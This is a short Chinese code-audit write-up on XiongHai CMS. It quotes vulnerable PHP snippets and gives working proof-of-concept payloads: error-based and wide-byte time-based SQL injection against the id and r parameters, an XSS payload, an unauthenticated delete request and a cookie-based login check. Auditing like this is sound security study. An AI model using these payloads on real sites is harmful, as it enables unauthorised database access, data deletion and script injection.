熊海CMS代码审计漏洞分析

——admin     //后台⽂件
——CSS       //css⽂件
——files    //功能函数⽂件
——images   //图⽚
——index.PHP //主⽬录⽂件
——install   //安装⽂件
——seacmseditor  //编辑器
——template      //模板⽂件
——upload    //⽂件上传⽬录

$id=$_GET['id'];
$type=$_GET['type'];
if ($type==1){
$query = "SELECT * FROM nav WHERE id='$id'";
$resul = Mysql_query($query) or die('SQL语句有误：'.mysql_error());
$nav = mysql_fetch_array($resul);
}

r=editcolumn&type=1&id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23

$id=$_GET['id'];
$query = "SELECT * FROM link WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误：'.mysql_error());
$link = mysql_fetch_array($resul);

id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23

$llink=addslashes($_GET['r']);
$query = "SELECT * FROM nav WHERE link='$llink'";

r=%df%27or%20if(1,sleep(3),1)%20%23

$page=addslashes($_GET['page']); 
<?php echo $page?> 

<img src=1 onerror=alert(/xss/)>

$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."页 - ";
}

$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM content WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误：'.mysql_error());
echo "<script>alert('亲，ID为".$delete."的内容已经成功删除！');location.href='?r=wzlist'</script>";
exit;

?r=wzlist&delete=18

$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;